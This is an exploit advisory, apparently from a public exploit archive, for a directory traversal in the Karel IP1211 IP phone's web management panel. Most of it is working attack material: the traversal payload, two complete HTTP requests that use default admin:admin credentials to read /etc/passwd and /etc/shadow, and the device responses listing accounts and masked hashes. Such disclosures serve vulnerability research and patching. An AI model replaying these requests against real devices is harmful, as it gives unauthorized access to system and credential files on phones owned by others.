Karel IP Phone IP1211 Web Management Panel Directory Traversal

# Exploit Title: Karel IP Phone IP1211 Web Management Panel - Directory Traversal # Exploit Author: Berat Gokberk ISLER # Date: 2020-09-01 # CVE: N/A # Type: Webapps # Vendor Homepage: https://www.karel.com.tr/urun-cozum/ip1211-ip-telefon # Version: IP1211 Details Directory traversal vulnerability on the Karel IP1211 IP Phone Web Panel. Remote authenticated users (Attackers used default credentials in this case) to perform directory traversal, provides access to sensitive data under indexes using the "cgiServer.exx?page=" parameter. In this case sensitive files, "passwd" and "shadow" files. # Vulnerable Parameter Type: GET # Payload: ../../../../../../../../etc/passwd or /etc/shadow # First Request: GET /cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/passwd HTTP/1.1 Host: X.X.X.X User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4= # Basic Auth --> admin:admin Connection: close Upgrade-Insecure-Requests: 1 # First Response HTTP/1.0 200 OK Content-Type:text/html;charset=UTF-8 Expires:-1 Accept-Ranges:bytes Server:SIPPhone root:x:0:0:Root,,,:/:/bin/sh admin:x:500:500:Admin,,,:/:/bin/sh guest:x:501:501:Guest,,,:/:/bin/sh # Second Request GET /cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/shadow HTTP/1.1 Host: X.X.X.X User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4= # Basic Auth --> admin:admin Connection: close Upgrade-Insecure-Requests: 1 # Second Response HTTP/1.0 200 OK Content-Type:text/html;charset=UTF-8 Expires:-1 Accept-Ranges:bytes Server:SIPPhone root:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7::: admin:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7::: guest:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::